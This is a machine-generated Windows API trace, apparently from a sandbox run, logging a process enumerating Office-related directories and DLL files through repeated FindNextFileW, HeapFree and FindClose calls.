	[0078.502] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0078.502] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.503] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0078.503] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.503] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0078.504] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.504] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0078.505] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.508] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0078.509] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.509] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0078.509] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.509] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0078.510] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.510] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0078.511] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.511] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0078.511] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.511] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0078.512] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.512] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0078.512] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0078.513] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.513] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0078.516] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.516] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0078.520] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.520] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0078.523] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.523] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0078.528] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.528] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0078.952] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.952] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0078.970] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.970] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0078.976] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.976] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0078.984] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.984] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0078.990] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.991] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0078.996] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0078.996] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0079.002] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0079.002] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0079.009] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0079.009] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0079.015] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0079.015] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0079.020] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0079.020] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0079.020] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0079.021] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0079.021] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0079.021] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0079.024] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0079.193] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0079.194] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
	[0079.197] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0079.197] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0079.197] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0079.197] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0079.199] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0079.203] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.203] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0079.205] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.205] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0079.211] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0079.211] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0079.211] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.211] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0079.213] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0079.213] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0079.213] FindClose (in: hFindFile=0x811e88 | out: hFindFile=0x811e88) returned 1
	[0079.213] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0079.213] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0079.213] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0079.213] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.215] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0079.305] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
